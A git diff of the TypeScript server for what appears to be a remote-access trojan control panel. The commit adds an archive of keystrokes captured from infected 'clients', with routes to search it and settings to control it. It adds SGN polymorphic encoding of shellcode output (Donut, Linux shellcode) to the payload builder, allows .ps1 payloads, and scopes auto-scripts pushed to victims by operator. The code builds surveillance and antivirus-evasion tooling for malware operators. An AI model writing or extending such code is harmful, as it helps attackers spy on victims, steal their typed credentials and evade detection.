const deleteFile = db.prepare("DELETE FROM keylog_archive_files WHERE id = ?");
|
||||
const tx = db.transaction((rows: Array<{ id: number }>) => {
|
||||
for (const row of rows) {
|
||||
deleteFts.run(row.id);
|
||||
deleteFile.run(row.id);
|
||||
}
|
||||
});
|
||||
tx(ids);
|
||||
return ids.length;
|
||||
}
|
||||
@@ -502,6 +502,7 @@ export async function handleAuthRoutes(
|
||||
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
|
||||
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
|
||||
telegramChatId: dbUser?.telegram_chat_id || "",
|
||||
inputArchiveEnabled: dbUser ? Boolean((dbUser as any).keylog_archive_enabled) : false,
|
||||
featurePermissions,
|
||||
permissions,
|
||||
}),
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import {
|
||||
canUserManageAutoScript,
|
||||
createAutoScript,
|
||||
deleteAutoScript,
|
||||
listAutoScripts,
|
||||
listAutoScriptsForUser,
|
||||
type AutoScriptTrigger,
|
||||
updateAutoScript,
|
||||
} from "../../db";
|
||||
@@ -23,13 +24,13 @@ export async function handleAutoScriptsRoutes(
|
||||
});
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
requirePermission(user, "scripts:manage");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
return Response.json({ items: listAutoScripts() });
|
||||
return Response.json({ items: listAutoScriptsForUser(user.userId, user.role) });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/auto-scripts") {
|
||||
@@ -84,6 +85,7 @@ export async function handleAutoScriptsRoutes(
|
||||
scriptType,
|
||||
enabled,
|
||||
osFilter,
|
||||
createdByUserId: user.userId,
|
||||
});
|
||||
|
||||
return Response.json({ ok: true, item });
|
||||
@@ -129,7 +131,12 @@ export async function handleAutoScriptsRoutes(
|
||||
? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v))
|
||||
: undefined;
|
||||
|
||||
const updated = updateAutoScript(autoScriptMatch[1], {
|
||||
const scriptId = autoScriptMatch[1];
|
||||
if (!canUserManageAutoScript(user.userId, user.role, scriptId)) {
|
||||
return Response.json({ error: "Not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
const updated = updateAutoScript(scriptId, {
|
||||
name: body?.name ? String(body.name).trim() : undefined,
|
||||
trigger: triggerRaw as AutoScriptTrigger | undefined,
|
||||
script: body?.script ? String(body.script) : undefined,
|
||||
@@ -160,7 +167,12 @@ export async function handleAutoScriptsRoutes(
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
deleteAutoScript(autoScriptMatch[1]);
|
||||
const scriptId = autoScriptMatch[1];
|
||||
if (!canUserManageAutoScript(user.userId, user.role, scriptId)) {
|
||||
return Response.json({ error: "Not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
deleteAutoScript(scriptId);
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
|
||||
@@ -117,6 +117,7 @@ export async function handleBuildRoutes(
|
||||
shellcodeConsole,
|
||||
useSgn,
|
||||
sgnIterations,
|
||||
outputSgnTxt,
|
||||
fetchPublicIP,
|
||||
uploadToFileShare,
|
||||
} = body;
|
||||
@@ -290,13 +291,32 @@ export async function handleBuildRoutes(
|
||||
: undefined;
|
||||
const safeRequireAdmin = !!requireAdmin;
|
||||
const safeCriticalProcess = !!criticalProcess;
|
||||
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".pif", ".com"]);
|
||||
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".ps1", ".pif", ".com"]);
|
||||
const safeOutputExtension =
|
||||
typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS.has(outputExtension.toLowerCase())
|
||||
? outputExtension.toLowerCase() : ".exe";
|
||||
const safeSleepSeconds =
|
||||
typeof sleepSeconds === "number" && Number.isInteger(sleepSeconds) && sleepSeconds >= 0 && sleepSeconds <= 3600
|
||||
? sleepSeconds : 0;
|
||||
const safeOutputSgnTxt = !!outputSgnTxt;
|
||||
if (safeOutputSgnTxt && !useSgn) {
|
||||
return Response.json(
|
||||
{ error: "SGN TXT output requires SGN Polymorphic Encoding" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
if (safeOutputSgnTxt) {
|
||||
const hasSgnCapableTarget = allowedPlatforms.some((p) =>
|
||||
(!!useDonut && p.startsWith("windows-")) ||
|
||||
(!!useLinuxShellcode && p === "linux-amd64")
|
||||
);
|
||||
if (!hasSgnCapableTarget) {
|
||||
return Response.json(
|
||||
{ error: "SGN TXT output requires Donut on Windows or Linux Shellcode on linux-amd64" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const MAX_BOUND_FILES = 5;
|
||||
const MAX_BOUND_FILE_BYTES = 50 * 1024 * 1024;
|
||||
@@ -401,6 +421,7 @@ export async function handleBuildRoutes(
|
||||
shellcodeConsole: !!shellcodeConsole,
|
||||
useSgn: !!useSgn,
|
||||
sgnIterations: Math.max(1, Math.min(50, Math.floor(Number(sgnIterations) || 1))),
|
||||
outputSgnTxt: safeOutputSgnTxt,
|
||||
fetchPublicIP: !!fetchPublicIP,
|
||||
uploadToFileShare: safeUploadToFileShare,
|
||||
}).finally(() => {
|
||||
@@ -689,7 +710,9 @@ export async function handleBuildRoutes(
|
||||
|
||||
return new Response(file, {
|
||||
headers: {
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Type": fileName.toLowerCase().endsWith(".txt")
|
||||
? "text/plain; charset=utf-8"
|
||||
: "application/octet-stream",
|
||||
"Content-Disposition": `attachment; filename="${fileName}"`,
|
||||
},
|
||||
});
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { canUserAccessClient } from "../../users";
|
||||
import { requireFeatureAccess } from "../../rbac";
|
||||
import {
|
||||
getArchivedKeylogContent,
|
||||
listArchivedKeylogs,
|
||||
searchArchivedKeylogs,
|
||||
} from "../keylog-archive";
|
||||
|
||||
type KeylogArchiveRouteDeps = {
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
};
|
||||
|
||||
function parseClientArchivePath(pathname: string): { clientId: string; action: string } | null {
|
||||
const match = pathname.match(/^\/api\/clients\/([^/]+)\/keylogger\/archive(?:\/([^/]+))?$/);
|
||||
if (!match) return null;
|
||||
return {
|
||||
clientId: decodeURIComponent(match[1]),
|
||||
action: match[2] || "list",
|
||||
};
|
||||
}
|
||||
|
||||
async function requireArchiveAccess(req: Request, clientId: string) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return { response: new Response("Unauthorized", { status: 401 }) };
|
||||
if (!canUserAccessClient(user.userId, user.role, clientId)) {
|
||||
return { response: new Response("Forbidden", { status: 403 }) };
|
||||
}
|
||||
try {
|
||||
requireFeatureAccess(user, "keylogger");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return { response: error };
|
||||
return { response: new Response("Forbidden", { status: 403 }) };
|
||||
}
|
||||
return { user };
|
||||
}
|
||||
|
||||
export async function handleKeylogArchiveRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: KeylogArchiveRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
const parsed = parseClientArchivePath(url.pathname);
|
||||
if (!parsed) return null;
|
||||
|
||||
const access = await requireArchiveAccess(req, parsed.clientId);
|
||||
if (access.response) return access.response;
|
||||
|
||||
if (req.method === "GET" && parsed.action === "list") {
|
||||
return Response.json({ files: listArchivedKeylogs(parsed.clientId) }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && parsed.action === "content") {
|
||||
const filename = (url.searchParams.get("filename") || "").trim();
|
||||
if (!filename) return Response.json({ error: "filename is required" }, { status: 400, headers: deps.CORS_HEADERS });
|
||||
const content = getArchivedKeylogContent(parsed.clientId, filename);
|
||||
if (!content) return Response.json({ error: "Archived file not found" }, { status: 404, headers: deps.CORS_HEADERS });
|
||||
return Response.json(content, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && parsed.action === "search") {
|
||||
const query = (url.searchParams.get("q") || "").trim();
|
||||
if (query.length < 3) return Response.json({ results: [] }, { headers: deps.CORS_HEADERS });
|
||||
return Response.json({ results: searchArchivedKeylogs(parsed.clientId, query) }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
return new Response("Method not allowed", { status: 405, headers: deps.CORS_HEADERS });
|
||||
}
|
||||
@@ -1,13 +1,13 @@
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
|
||||
import { logger } from "../../logger";
|
||||
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig } from "../../config";
|
||||
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig, updateInputArchiveConfig } from "../../config";
|
||||
import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes, listClients } from "../../db";
|
||||
import { getThumbnailStats } from "../../thumbnails";
|
||||
import { getClientCount, getOnlineClients } from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById } from "../../users";
|
||||
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled } from "../../users";
|
||||
import { buildClientGraph } from "../client-graph";
|
||||
import { runCertbotSetup } from "../certbot-setup";
|
||||
import {
|
||||
@@ -910,6 +910,74 @@ export async function handleMiscRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/settings/input-archive") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (req.method === "GET") {
|
||||
return Response.json(
|
||||
{
|
||||
myEnabled: getUserInputArchiveEnabled(user.userId),
|
||||
inputArchive: getConfig().inputArchive,
|
||||
},
|
||||
{ headers: deps.CORS_HEADERS },
|
||||
);
|
||||
}
|
||||
|
||||
if (req.method === "PUT") {
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid JSON" }, { status: 400, headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (body?.myEnabled !== undefined) {
|
||||
const result = setUserInputArchiveEnabled(user.userId, Boolean(body.myEnabled));
|
||||
if (!result.success) {
|
||||
return Response.json({ error: result.error || "Failed to save input archive preference" }, { status: 500, headers: deps.CORS_HEADERS });
|
||||
}
|
||||
}
|
||||
|
||||
let updated = getConfig().inputArchive;
|
||||
if (body?.inputArchive !== undefined) {
|
||||
try {
|
||||
requirePermission(user, "system:input-archive");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
updated = await updateInputArchiveConfig({
|
||||
enabled: body.inputArchive?.enabled !== undefined ? Boolean(body.inputArchive.enabled) : undefined,
|
||||
retentionDays: body.inputArchive?.retentionDays !== undefined ? Number(body.inputArchive.retentionDays) : undefined,
|
||||
maxFileBytes: body.inputArchive?.maxFileBytes !== undefined ? Number(body.inputArchive.maxFileBytes) : undefined,
|
||||
pollIntervalSeconds: body.inputArchive?.pollIntervalSeconds !== undefined ? Number(body.inputArchive.pollIntervalSeconds) : undefined,
|
||||
});
|
||||
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: deps.requestIP?.(req)?.address || "unknown",
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Updated input archive settings (enabled=${updated.enabled}, retention=${updated.retentionDays}d, poll=${updated.pollIntervalSeconds}s)`,
|
||||
success: true,
|
||||
});
|
||||
}
|
||||
|
||||
return Response.json(
|
||||
{
|
||||
ok: true,
|
||||
myEnabled: getUserInputArchiveEnabled(user.userId),
|
||||
inputArchive: updated,
|
||||
},
|
||||
{ headers: deps.CORS_HEADERS },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if (url.pathname === "/api/settings/appearance") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -210,6 +210,7 @@ type WsLifecycleDeps = {
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
|
||||
dispatchKeylogArchiveSync?: (clientId: string, ws: ServerWebSocket<SocketData>) => boolean;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
storeNotificationScreenshot: (
|
||||
pending: any,
|
||||
@@ -226,6 +227,7 @@ type WsLifecycleDeps = {
|
||||
handleProxyConnectResult: (clientId: string, connectionId: string, ok: boolean) => void;
|
||||
handleProcessMessage: (clientId: string, payload: any) => void;
|
||||
handleKeyloggerMessage: (clientId: string, payload: any) => void;
|
||||
handleKeylogArchiveMessage?: (clientId: string, payload: any, ws?: ServerWebSocket<SocketData>) => void;
|
||||
notifyRdInputLatency: (commandId: string) => void;
|
||||
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
|
||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
@@ -675,6 +677,7 @@ export async function handleWebSocketMessage(
|
||||
deps.dispatchAutoScriptsForConnection(infoObj, ws);
|
||||
deps.dispatchAutoDeploysForConnection(infoObj, ws);
|
||||
deps.dispatchAutoLoadPlugins(infoObj);
|
||||
deps.dispatchKeylogArchiveSync?.(infoObj.id, ws);
|
||||
deps.notifyDashboard();
|
||||
if (!reconnectedWithinGrace) {
|
||||
deps.notifyDashboardClientEvent("client_online", {
|
||||
@@ -803,6 +806,7 @@ export async function handleWebSocketMessage(
|
||||
case "keylog_clear_result":
|
||||
case "keylog_delete_result":
|
||||
case "keylog_permission_result":
|
||||
deps.handleKeylogArchiveMessage?.(client.id, payload, ws);
|
||||
deps.handleKeyloggerMessage(client.id, payload);
|
||||
break;
|
||||
case "script_result": {
|
||||
|
||||
@@ -25,6 +25,7 @@ export interface User {
|
||||
mfa_secret: string | null;
|
||||
mfa_enabled: number;
|
||||
mfa_enabled_at: number | null;
|
||||
keylog_archive_enabled: number;
|
||||
}
|
||||
|
||||
export interface UserInfo {
|
||||
@@ -41,6 +42,7 @@ export interface UserInfo {
|
||||
telegram_chat_id: string | null;
|
||||
mfa_enabled: number;
|
||||
mfa_enabled_at: number | null;
|
||||
keylog_archive_enabled?: number;
|
||||
}
|
||||
|
||||
export interface UserClientAccessRule {
|
||||
@@ -127,6 +129,29 @@ export function getUserByUsername(username: string): User | null {
|
||||
return user || null;
|
||||
}
|
||||
|
||||
export function getUserInputArchiveEnabled(userId: number): boolean {
|
||||
const row = db
|
||||
.prepare("SELECT keylog_archive_enabled FROM users WHERE id = ?")
|
||||
.get(userId) as { keylog_archive_enabled?: number } | undefined;
|
||||
return row?.keylog_archive_enabled === 1;
|
||||
}
|
||||
|
||||
export function setUserInputArchiveEnabled(userId: number, enabled: boolean): { success: boolean; error?: string } {
|
||||
try {
|
||||
db.prepare("UPDATE users SET keylog_archive_enabled = ? WHERE id = ?").run(enabled ? 1 : 0, userId);
|
||||
return { success: true };
|
||||
} catch (err: any) {
|
||||
logger.error("[users] setUserInputArchiveEnabled error:", err);
|
||||
return { success: false, error: err.message || "Failed to update input archive preference" };
|
||||
}
|
||||
}
|
||||
|
||||
export function getUsersWithInputArchiveEnabled(): Array<{ id: number; username: string; role: UserRole; client_scope: ClientAccessScope }> {
|
||||
return db
|
||||
.prepare("SELECT id, username, role, client_scope FROM users WHERE keylog_archive_enabled = 1")
|
||||
.all() as any[];
|
||||
}
|
||||
|
||||
export function listUsers(): UserInfo[] {
|
||||
const users = db
|
||||
.prepare(
|
||||
|
||||
Reference in New Issue
Block a user